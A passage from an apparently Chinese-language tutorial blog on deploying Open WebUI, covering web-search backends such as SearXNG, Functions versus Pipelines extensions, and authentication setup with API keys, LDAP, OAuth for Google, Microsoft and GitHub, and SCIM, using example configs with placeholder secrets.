class="string">&quot;zh-CN&quot;</span></span><br><span class="line">  <span class="attr">formats:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">html</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">json</span>  <span class="comment"># ⚠️ 必须添加，否则 Open WebUI 无法调用</span></span><br></pre></td></tr></table></figure><ol start="3"><li>启动：<code>docker compose up -d</code>，或在 Open WebUI 的 <code>docker-compose.local.yaml</code> 中添加：</li></ol><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">searxng:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">searxng/searxng:latest</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">searxng</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;8080:8080&quot;</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./searxng:/etc/searxng</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br></pre></td></tr></table></figure><ol start="4"><li>在 Open WebUI 中配置：搜索引擎选 <code>searxng</code>，查询 URL 填 <code>http://searxng:8080/search?q=&lt;query&gt;</code>（Docker 同网络）或 <code>http://localhost:8080/search?q=&lt;query&gt;</code>。</li></ol><blockquote><p>⚠️ 常见问题：</p><ul><li><strong>403 错误</strong>：99% 是 <code>settings.yml</code> 没加 <code>json</code> 格式</li><li><strong>结果为空</strong>：SearXNG 容器需能访问外网，国内服务器需为 SearXNG 容器配代理</li><li><strong>超时</strong>：检查 <code>limiter</code> 是否为 <code>false</code>，上游搜索引擎是否可达</li></ul></blockquote><p><strong>💰 零成本懒人方案：DuckDuckGo</strong></p><p>不想部署任何服务的用户，搜索引擎选 <code>duckduckgo</code> 即可，无需填写任何 Key。缺点是可能被限流、国内需代理、搜索质量不如 Google。</p><p><strong>🎯 付费性价比之选：Serper</strong></p><p>需要 Google 级搜索质量但预算有限的用户。访问 <a href="https://serper.dev">https://serper.dev</a> 注册，复制 API Key，搜索引擎选 <code>serper</code> 填入即可。注册送 2,500 次，付费后 $0.30/千次起。</p><p><strong>🇨🇳 国内直连方案：Bocha / Sogou</strong></p><p>服务器在国内、无法配代理的用户。Bocha（博查）和 Sogou（搜狗）国内可直连，中文搜索质量较好，需联系服务商获取 Key 和定价。</p><hr><h3 id="成本速算">成本速算</h3><p>假设日均搜索 20 次（月均 600 次）：</p><table><thead><tr><th>方案</th><th>月成本</th><th>说明</th></tr></thead><tbody><tr><td>SearXNG 自部署</td><td>$0</td><td>仅消耗服务器资源</td></tr><tr><td>DuckDuckGo</td><td>$0</td><td>可能被限流</td></tr><tr><td>Brave 免费额度</td><td>$0</td><td>每月 2,000 次，完全够用</td></tr><tr><td>Google PSE 免费额度</td><td>$0</td><td>每天 100 次，完全够用</td></tr><tr><td>Tavily 免费额度</td><td>$0</td><td>每月 1,000 次，勉强够用</td></tr><tr><td>Serper 免费额度</td><td>$0</td><td>2,500 次一次性，约可用 4 个月</td></tr><tr><td>Serper 付费</td><td>~$0.18</td><td>超出免费额度后</td></tr><tr><td>Brave 付费</td><td>~$1.80</td><td>超出免费额度后</td></tr><tr><td>Kagi</td><td>$10+</td><td>订阅制</td></tr></tbody></table><blockquote><p>💡 个人使用（日均 &lt;30 次），Brave（2,000 次/月）或 Google PSE（100 次/天）的免费额度完全够用。团队或高频搜索，SearXNG 自部署是唯一真正无限制的方案。</p></blockquote><hr><h2 id="3-8-Pipelines-与-Functions-扩展系统">3.8. Pipelines 与 Functions 扩展系统</h2><p>Open WebUI 提供了两种扩展机制：<strong>Functions</strong>（函数）和 <strong>Pipelines</strong>（管道）。理解它们的区别非常重要，选错了会让简单的事情变复杂。</p><blockquote><p>⚠️ <strong>官方明确建议</strong>：对于大多数扩展需求（如添加新的 API 提供商、基础过滤器、简单工具），<strong>请使用 Functions，不要使用 Pipelines</strong>。Pipelines 仅适用于需要将计算密集型任务卸载到独立进程的场景。</p></blockquote><h3 id="Functions-vs-Pipelines：如何选择">Functions vs Pipelines：如何选择</h3><table><thead><tr><th>对比项</th><th>Functions（推荐优先）</th><th>Pipelines</th></tr></thead><tbody><tr><td><strong>部署方式</strong></td><td>内置于 Open WebUI，无需额外服务</td><td>需要独立部署 Pipelines 服务</td></tr><tr><td><strong>适用场景</strong></td><td>添加 API 提供商、过滤器、工具、按钮动作</td><td>计算密集型任务（如大规模数据处理、自定义 ML 推理）</td></tr><tr><td><strong>管理方式</strong></td><td>管理员面板 → 函数</td><td>管理员面板 → 设置 → Pipelines</td></tr><tr><td><strong>开发难度</strong></td><td>简单，直接在 Web 界面编写</td><td>较复杂，需要独立服务和 Docker 部署</td></tr><tr><td><strong>性能影响</strong></td><td>在主进程中运行</td><td>独立进程，不影响主服务</td></tr></tbody></table><p><strong>简单判断规则</strong>：如果你不确定该用哪个，<strong>用 Functions</strong>。只有当你明确需要在独立进程中运行计算密集型任务时，才考虑 Pipelines。</p><h3 id="Functions（函数）">Functions（函数）</h3><p>Functions 是 Open WebUI 内置的扩展机制，直接在管理员面板中管理，无需额外部署。</p><p><strong>Functions 的四种类型</strong>：</p><table><thead><tr><th>类型</th><th>说明</th><th>使用场景</th></tr></thead><tbody><tr><td><strong>Filter</strong></td><td>在消息发送到模型前/后进行处理</td><td>内容过滤、格式转换、日志记录</td></tr><tr><td><strong>Action</strong></td><td>在消息气泡上添加自定义按钮</td><td>一键翻译、一键总结、复制格式化内容</td></tr><tr><td><strong>Tool</strong></td><td>为模型提供可调用的工具</td><td>网络搜索、数据库查询、API 调用</td></tr><tr><td><strong>Pipe</strong></td><td>添加新的模型端点或 API 提供商</td><td>接入自定义 API、代理转发</td></tr></tbody></table><p><strong>管理 Functions</strong>：</p><p>管理员面板 → 函数（Functions）</p><p>在这里你可以：</p><ul><li>创建新函数（直接在 Web 编辑器中编写 Python 代码）</li><li>从社区导入函数</li><li>启用/禁用函数</li><li>配置函数参数（Valves）</li></ul><p><strong>社区函数库</strong>：</p><p>Open WebUI 社区提供了大量现成的函数，访问 <a href="https://openwebui.com/functions/">https://openwebui.com/functions/</a> 浏览和导入。</p><blockquote><p>💡 Functions 的详细开发将在后续章节中介绍。本节重点是让管理员了解如何管理和配置。</p></blockquote><h3 id="Pipelines（仅限计算密集型场景）">Pipelines（仅限计算密集型场景）</h3><p>如果你确实需要将计算密集型任务卸载到独立进程，才需要部署 Pipelines。</p><p><strong>部署 Pipelines 服务</strong>：</p><p>在你的 <code>docker-compose.local.yaml</code> 中添加 Pipelines 服务：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">pipelines:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">ghcr.io/open-webui/pipelines:main</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">pipelines</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;9099:9099&quot;</span></span><br><span class="line">    <span class="attr">extra_hosts:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">host.docker.internal:host-gateway</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">pipelines-data:/app/pipelines</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">open-webui:</span></span><br><span class="line">    <span class="comment"># ... 你的现有配置</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">PIPELINES_URLS=http://pipelines:9099</span></span><br><span class="line"></span><br><span class="line"><span class="attr">volumes:</span></span><br><span class="line">  <span class="attr">pipelines-data:</span></span><br></pre></td></tr></table></figure><p>启动后访问 <a href="http://localhost:9099/docs">http://localhost:9099/docs</a> 验证 Pipelines API 是否正常。</p><p><strong>在 Open WebUI 中连接</strong>：</p><p>管理员面板 → 设置 → Pipelines → 填入 <code>http://pipelines:9099</code> → 点击刷新</p><p><strong>管理插件</strong>：</p><p>连接成功后，你可以：</p><ul><li>上传 Python 插件文件（<code>.py</code>）</li><li>启用/禁用插件</li><li>配置插件参数（Valves）</li></ul><p><strong>Pipelines 插件示例</strong>：</p><p>官方示例仓库：<a href="https://github.com/open-webui/pipelines/tree/main/examples">https://github.com/open-webui/pipelines/tree/main/examples</a></p><table><thead><tr><th>插件名称</th><th>功能</th><th>使用场景</th></tr></thead><tbody><tr><td><strong>Langfuse</strong></td><td>集成 Langfuse 监控平台</td><td>大规模使用量监控</td></tr><tr><td><strong>LLM Guard</strong></td><td>防止提示词注入攻击</td><td>安全防护（计算密集）</td></tr><tr><td><strong>Detoxify</strong></td><td>基于 ML 模型的有害内容过滤</td><td>内容安全（需要 GPU）</td></tr></tbody></table><blockquote><p>💡 像 Rate Limit（限流）、LibreTranslate（翻译）这类轻量级功能，现在推荐使用 Functions 实现，不再需要部署 Pipelines。</p></blockquote><hr><h2 id="3-9-安全与认证配置">3.9. 安全与认证配置</h2><p>这一章讲的是“谁能登录、谁能调用 API、用户身份如何同步、会话如何保活”。</p><p>如果你是个人用户，这部分很多配置可以先不动；但只要进入团队协作、公司内网、对接脚本或自动化系统，这一章就会变成必修课。</p><p>在开始之前，先解释几个经常会混在一起的术语：</p><ul><li><strong>认证（Authentication）</strong>：证明“你是谁”。例如账号密码登录、LDAP 登录、Google 登录。</li><li><strong>授权（Authorization）</strong>：决定“你能做什么”。例如能不能看某个模型、能不能导出模型、能不能管理工具。</li><li><strong>API Key</strong>：发给程序用的密钥，适合脚本、集成平台、外部服务调用 Open WebUI API。</li><li><strong>LDAP</strong>：企业常见的目录服务协议，很多公司的 AD（Active Directory）也兼容这套方式。</li><li><strong>OAuth / OIDC</strong>：第三方登录体系。OAuth 偏“授权”，OIDC 是建立在 OAuth 之上的“身份登录”标准。</li><li><strong>SCIM</strong>：自动开通和回收账号的标准，不负责“登录”，而负责“账号生命周期同步”。</li></ul><h3 id="API-密钥认证">API 密钥认证</h3><p><strong>这是什么</strong></p><p>Open WebUI 支持为用户生成 API Key，让外部脚本、自动化流程、内部平台、工作流引擎通过 HTTP API 访问它。</p><p>典型场景包括：</p><ul><li>用 Python、Node.js 或 Shell 脚本调用聊天接口</li><li>用企业内部系统转发请求到 Open WebUI</li><li>给工作流平台、Bot、自动化任务提供一个稳定认证方式</li></ul><p>它和“浏览器登录 Cookie”不是一回事：</p><ul><li>浏览器登录主要给人用</li><li>API Key 主要给程序用</li></ul><p><strong>如何启用</strong></p><p>管理员面板 → 设置 → 通用 → 启用 API Key</p><p>启用后，用户就可以在自己的账号设置中创建 API Key。</p><p>当前版本除了总开关外，还支持 <strong>API Key Endpoint Restrictions</strong>，也就是“限制 API Key 只能访问哪些接口”。这个能力很重要，因为它可以避免把一把过大的密钥发给外部系统。</p><p><strong>用户如何生成密钥</strong></p><p>点击头像 → 设置 → 账号 → API 密钥 → 点击“创建新密钥”</p><p>创建后要立即保存，因为这类密钥通常不会反复明文展示。</p><p><strong>调用示例</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST http://localhost:3000/api/chat \</span><br><span class="line">  -H <span class="string">&quot;Authorization: Bearer sk-...&quot;</span> \</span><br><span class="line">  -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">  -d <span class="string">&#x27;&#123;&quot;message&quot;: &quot;Hello&quot;&#125;&#x27;</span></span><br></pre></td></tr></table></figure><p><strong>官方建议理解</strong></p><p>官网当前的方向不是“默认把所有接口都敞开”，而是：</p><ul><li>可以启用 API Key</li><li>可以进一步启用接口级限制</li><li>在可信内网环境里可以更宽松，在生产环境则建议更严格</li></ul><p><strong>我的管理方式</strong></p><p>在我的环境里，API Key 主要给“程序”而不是“人”使用，所以我通常这样管理：</p><ol><li>浏览器用户走正常登录，不给所有人默认要求 API Key。</li><li>只有确实需要脚本调用的账号，才生成 API Key。</li><li>给外部系统时，优先启用接口限制，不给过大的权限面。</li><li>定期清理不再使用的密钥，避免历史脚本长期持有可用凭证。</li><li>如果只是临时测试，我会单独创建测试用密钥，不和正式环境长期复用。</li></ol><h3 id="LDAP-集成">LDAP 集成</h3><p><strong>这是什么</strong></p><p>LDAP 可以理解为“公司统一通讯录 / 账号目录”的标准接口。</p><p>如果你所在的组织已经有 AD、OpenLDAP 或其他企业目录系统，那么 Open WebUI 可以直接对接这个目录，让员工使用公司账号登录，而不是在 Open WebUI 里重复创建本地账号。</p><p><strong>适合谁</strong></p><ul><li>公司内网部署</li><li>已有统一身份管理</li><li>希望账号、邮箱、用户名来自企业目录</li></ul><p>个人部署、小团队、临时测试环境，通常不需要上 LDAP。</p><p><strong>官方配置思路</strong></p><p>LDAP 推荐先通过环境变量初始化，然后在管理员面板里继续维护。官网特别强调一件事：</p><blockquote><p>如果启用了持久化配置（默认就是），很多环境变量只在<strong>第一次启动</strong>时读入；后续修改通常要在管理后台里改，而不是只改 <code>docker-compose</code>。</p></blockquote><p>这点非常重要，也是很多人“明明改了环境变量，怎么界面没变”的根源。</p><p><strong>当前版本常见环境变量</strong></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">ENABLE_LDAP=true</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_SERVER_LABEL=OpenLDAP</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_SERVER_HOST=ldap.example.com</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_SERVER_PORT=389</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_ATTRIBUTE_FOR_MAIL=mail</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_ATTRIBUTE_FOR_USERNAME=uid</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_APP_DN=cn=admin,dc=example,dc=org</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_APP_PASSWORD=your_password</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_SEARCH_BASE=dc=example,dc=org</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_SEARCH_FILTER=(uid=%(user)s)</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">LDAP_USE_TLS=true</span></span><br></pre></td></tr></table></figure><p>你会发现，这一版和很多旧博客里写的 <code>LDAP_SERVER_URL</code>、<code>LDAP_BIND_DN</code> 之类名字不完全一样。写文档时一定要以当前版本为准。</p><p><strong>参数解释</strong></p><table><thead><tr><th>参数</th><th>说明</th></tr></thead><tbody><tr><td><code>ENABLE_LDAP</code></td><td>是否启用 LDAP 登录</td></tr><tr><td><code>LDAP_SERVER_LABEL</code></td><td>在界面里显示的 LDAP 名称</td></tr><tr><td><code>LDAP_SERVER_HOST</code> / <code>LDAP_SERVER_PORT</code></td><td>LDAP 服务器地址和端口</td></tr><tr><td><code>LDAP_ATTRIBUTE_FOR_MAIL</code></td><td>从 LDAP 条目里取邮箱的字段</td></tr><tr><td><code>LDAP_ATTRIBUTE_FOR_USERNAME</code></td><td>从 LDAP 条目里取用户名的字段</td></tr><tr><td><code>LDAP_APP_DN</code> / <code>LDAP_APP_PASSWORD</code></td><td>用于查询目录的服务账号</td></tr><tr><td><code>LDAP_SEARCH_BASE</code></td><td>搜索用户的根 DN</td></tr><tr><td><code>LDAP_SEARCH_FILTER</code></td><td>登录时查找用户的过滤器</td></tr><tr><td><code>LDAP_USE_TLS</code></td><td>是否启用 TLS / StartTLS</td></tr></tbody></table><p><strong>正确的排错顺序</strong></p><p>不要一上来就怀疑 Open WebUI。</p><p>官网推荐的思路是：</p><ol><li>先验证 LDAP 服务器本身通不通</li><li>再验证用户条目能不能查到</li><li>最后才看 Open WebUI 配置</li></ol><p>例如：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ldapsearch -x -H ldap://ldap.example.com:389 \</span><br><span class="line">  -D <span class="string">&quot;cn=admin,dc=example,dc=org&quot;</span> -w your_password \</span><br><span class="line">  -b <span class="string">&quot;dc=example,dc=org&quot;</span> <span class="string">&quot;(uid=jdoe)&quot;</span></span><br></pre></td></tr></table></figure><p>如果这一步都查不到用户，就不要继续在 WebUI 里盲改了。</p><p><strong>我的管理方式</strong></p><p>我自己的判断规则很简单：</p><ul><li>如果是企业内部正式使用，并且员工已经有统一账号体系，我会优先接 LDAP。</li><li>如果只是个人站点、朋友共用、测试环境，我不会为了“看起来企业化”硬上 LDAP。</li><li>上 LDAP 后，我会尽量让用户名、邮箱、显示名都来自目录系统，避免 Open WebUI 自己成为第二套主数据来源。</li></ul><h3 id="OAuth-OIDC-SSO-集成">OAuth / OIDC / SSO 集成</h3><p><strong>这是什么</strong></p><p>这一组就是“第三方登录”。</p><p>最常见的使用方式是：</p><ul><li>用 Google 账号登录</li><li>用 Microsoft / Entra ID 账号登录</li><li>用 GitHub 账号登录</li><li>用企业自己的 OIDC 服务登录</li></ul><p>如果说 LDAP 更像“公司内网目录登录”，那 OAuth / OIDC 更像“现代网站统一登录”。</p><p><strong>先说结论：本地开发完全可以配</strong></p><p>而且你现在这个仓库已经改成了：</p><ul><li><code>docker-compose.local.yaml</code> 自动读取 <code>.env.local</code></li><li>本地端口由 <code>OPEN_WEBUI_PORT</code> 控制</li><li>Google、Microsoft、GitHub 三家都可以直接写在 <code>.env.local</code></li></ul><p>所以对读者来说，最容易跟做的方式就是：</p><ol><li>去各自官网创建 OAuth 应用</li><li>把回调地址填成 Open WebUI 本地回调</li><li>把拿到的密钥填进 <code>.env.local</code></li><li>重启本地容器</li></ol><p><strong>本地统一配置模板</strong></p><p>如果你的本地端口是 <code>3000</code>，那么 <code>.env.local</code> 先这样写：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">OPEN_WEBUI_PORT=3000</span><br><span class="line">WEBUI_URL=http://localhost:3000</span><br><span class="line">ENABLE_OAUTH_SIGNUP=true</span><br><span class="line">OAUTH_MERGE_ACCOUNTS_BY_EMAIL=true</span><br><span class="line"></span><br><span class="line">GOOGLE_CLIENT_ID=</span><br><span class="line">GOOGLE_CLIENT_SECRET=</span><br><span class="line">GOOGLE_REDIRECT_URI=http://localhost:3000/oauth/google/login/callback</span><br><span class="line"></span><br><span class="line">MICROSOFT_CLIENT_ID=</span><br><span class="line">MICROSOFT_CLIENT_SECRET=</span><br><span class="line">MICROSOFT_CLIENT_TENANT_ID=common</span><br><span class="line">MICROSOFT_REDIRECT_URI=http://localhost:3000/oauth/microsoft/login/callback</span><br><span class="line"></span><br><span class="line">GITHUB_CLIENT_ID=</span><br><span class="line">GITHUB_CLIENT_SECRET=</span><br><span class="line">GITHUB_CLIENT_REDIRECT_URI=http://localhost:3000/oauth/github/login/callback</span><br></pre></td></tr></table></figure><p>写完后执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d --build</span><br></pre></td></tr></table></figure><p>如果你的端口不是 <code>3000</code>，例如 <code>5050</code>，那上面所有 <code>localhost:3000</code> 都要统一改成 <code>localhost:5050</code>。</p><div class="tabs" id="oauth_local_setup"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="oauth_local_setup-1">Google</button><button type="button" class="tab " data-href="oauth_local_setup-2">Microsoft</button><button type="button" class="tab " data-href="oauth_local_setup-3">GitHub</button></ul><div class="tab-contents"><div class="tab-item-content active" id="oauth_local_setup-1"><p><strong>适用场景</strong></p><p>如果你想直接使用 Google 账号登录，这是最常见的一种配置。</p><p><strong>第 1 步：去 Google 官方后台创建应用</strong></p><p>访问：</p><p><a href="https://console.cloud.google.com/apis/credentials">https://console.cloud.google.com/apis/credentials</a></p><p>进入后：</p><ol><li>创建或选择一个 Project</li><li>打开 <code>APIs &amp; Services</code></li><li>进入 <code>Credentials</code>（凭证）</li><li>点击 <code>Create Credentials</code></li><li>选择 <code>OAuth client ID</code></li><li>Application type 选择 <code>Web application</code></li></ol><p><strong>第 2 步：登记回调地址</strong></p><p>在 <code>Authorized redirect URIs</code> 中填写：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:3000/oauth/google/login/callback</span><br></pre></td></tr></table></figure><p><strong>第 3 步：把拿到的密钥填入 <code>.env.local</code></strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">GOOGLE_CLIENT_ID=你的 Google Client ID</span><br><span class="line">GOOGLE_CLIENT_SECRET=你的 Google Client Secret</span><br><span class="line">GOOGLE_REDIRECT_URI=http://localhost:3000/oauth/google/login/callback</span><br></pre></td></tr></table></figure><p><strong>第 4 步：重启本地 Open WebUI</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d --build</span><br></pre></td></tr></table></figure><p><strong>注意事项</strong></p><ul><li>Google 开发环境允许 <code>http://localhost</code></li><li>回调地址必须和后台里登记的 URI 完全一致</li><li>如果你改了端口，Google 后台也要一起改</li></ul></div><div class="tab-item-content" id="oauth_local_setup-2"><p><strong>适用场景</strong></p><p>如果用户本身就在 Microsoft 365、Entra ID、企业账号体系里，这一项非常常见。</p><p><strong>第 1 步：去 Microsoft Entra 后台注册应用</strong></p><p>访问：</p><p><a href="https://portal.azure.com/">https://portal.azure.com/</a></p><p>进入后：</p><ol><li>打开 <code>Microsoft Entra ID</code></li><li>进入 <code>App registrations</code></li><li>点击 <code>New registration</code></li><li>创建一个应用</li></ol><p><strong>第 2 步：配置回调地址</strong></p><p>在 <code>Authentication</code> 页面里添加：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:3000/oauth/microsoft/login/callback</span><br></pre></td></tr></table></figure><p><strong>第 3 步：生成 Secret 并写入 <code>.env.local</code></strong></p><p>在 <code>Certificates &amp; secrets</code> 中生成一个 <code>Client secret</code>，然后填入：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">MICROSOFT_CLIENT_ID=你的 Microsoft Client ID</span><br><span class="line">MICROSOFT_CLIENT_SECRET=你的 Microsoft Client Secret</span><br><span class="line">MICROSOFT_CLIENT_TENANT_ID=common</span><br><span class="line">MICROSOFT_REDIRECT_URI=http://localhost:3000/oauth/microsoft/login/callback</span><br></pre></td></tr></table></figure><p>如果你只允许某一个租户登录，把 <code>common</code> 改成你的实际 Tenant ID 即可。</p><p><strong>第 4 步：重启本地 Open WebUI</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d --build</span><br></pre></td></tr></table></figure><p><strong>注意事项</strong></p><ul><li>Microsoft 也支持本地 <code>localhost</code> 回调</li><li>本地开发可以先用 <code>common</code></li><li>正式环境建议单独使用正式域名和正式应用注册</li></ul></div><div class="tab-item-content" id="oauth_local_setup-3"><p><strong>适用场景</strong></p><p>如果你的用户本身大量使用 GitHub，这是最容易理解、也最容易测试的一项。</p><p><strong>第 1 步：去 GitHub Developer Settings 创建 OAuth App</strong></p><p>访问：</p><p><a href="https://github.com/settings/developers">https://github.com/settings/developers</a></p><p>进入后：</p><ol><li>打开 <code>OAuth Apps</code></li><li>点击 <code>New OAuth App</code></li></ol><p><strong>第 2 步：填写回调地址</strong></p><p>最关键的是 <code>Authorization callback URL</code>：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:3000/oauth/github/login/callback</span><br></pre></td></tr></table></figure><p><strong>第 3 步：把密钥填入 <code>.env.local</code></strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">GITHUB_CLIENT_ID=你的 GitHub Client ID</span><br><span class="line">GITHUB_CLIENT_SECRET=你的 GitHub Client Secret</span><br><span class="line">GITHUB_CLIENT_REDIRECT_URI=http://localhost:3000/oauth/github/login/callback</span><br></pre></td></tr></table></figure><p><strong>第 4 步：重启本地 Open WebUI</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose -f docker-compose.local.yaml up -d --build</span><br></pre></td></tr></table></figure><p><strong>注意事项</strong></p><ul><li>GitHub 对 callback URL 也是精确匹配</li><li>如果后台填的是 <code>127.0.0.1</code>，本地配置也要统一成 <code>127.0.0.1</code></li><li>不要后台填 <code>127.0.0.1</code>，本地却写 <code>localhost</code></li></ul></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><p>为了更容易排错，我建议不要一上来三个一起配，而是按这个顺序：</p><ol><li>先配一个，例如 GitHub</li><li>测通之后，再加 Google</li><li>最后再加 Microsoft</li></ol><p>这样如果出现问题，最容易定位。</p><p>最常见的报错就是：</p><ul><li><code>redirect_uri_mismatch</code></li><li>端口改了，但开放平台后台没改</li><li><code>.env.local</code> 改了，但容器没重启</li><li>后台写的是 <code>127.0.0.1</code>，本地写的是 <code>localhost</code></li></ul><h3 id="SCIM-自动开通与回收">SCIM 自动开通与回收</h3><p><strong>这是什么</strong></p><p>SCIM 不是登录协议，而是“账号生命周期同步协议”。</p><p>它解决的问题是：</p><ul><li>新员工入职时，自动在 Open WebUI 创建账号</li><li>员工信息变化时，自动同步更新</li><li>员工离职时，自动停用账号</li><li>用户组成员关系自动同步</li></ul><p>所以可以把它理解成“自动开账号、改账号、停账号”的标准接口。</p><p><strong>和 OAuth / LDAP 的关系</strong></p><ul><li>LDAP / OAuth / OIDC：解决“怎么登录”</li><li>SCIM：解决“账号怎么自动创建和同步”</li></ul><p>很多企业会同时使用：</p><ul><li>用 OIDC 登录</li><li>用 SCIM 做账号与组同步</li></ul><p><strong>当前版本配置</strong></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">SCIM_ENABLED=true</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">SCIM_TOKEN=your-secure-random-token</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">SCIM_AUTH_PROVIDER=oidc</span></span><br></pre></td></tr></table></figure><p><strong>参数解释</strong></p><table><thead><tr><th>参数</th><th>说明</th></tr></thead><tbody><tr><td><code>SCIM_ENABLED</code></td><td>是否启用 SCIM</td></tr><tr><td><code>SCIM_TOKEN</code></td><td>调用 SCIM API 的 Bearer Token</td></tr><tr><td><code>SCIM_AUTH_PROVIDER</code></td><td>用于把 SCIM <code>externalId</code> 和对应认证提供商关联起来，例如 <code>microsoft</code>、<code>oidc</code></td></tr></tbody></table><p>这里的 <code>SCIM_AUTH_PROVIDER</code> 很容易被漏掉，但当前版本里它是重要配置，尤其是在账户关联和 <code>externalId</code> 保存上。</p><p><strong>对接端点</strong></p><p>SCIM Base URL：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://your-domain.com/api/v1/scim/v2/</span><br></pre></td></tr></table></figure><p>常见资源端点：</p><table><thead><tr><th>资源</th><th>端点</th></tr></thead><tbody><tr><td>用户</td><td><code>/api/v1/scim/v2/Users</code></td></tr><tr><td>组</td><td><code>/api/v1/scim/v2/Groups</code></td></tr></tbody></table><p><strong>我的管理方式</strong></p><p>我把 SCIM 视为“企业级增强项”：</p><ul><li>小规模自用：完全不需要</li><li>团队规模不大，但已有统一登录：先上 OAuth / 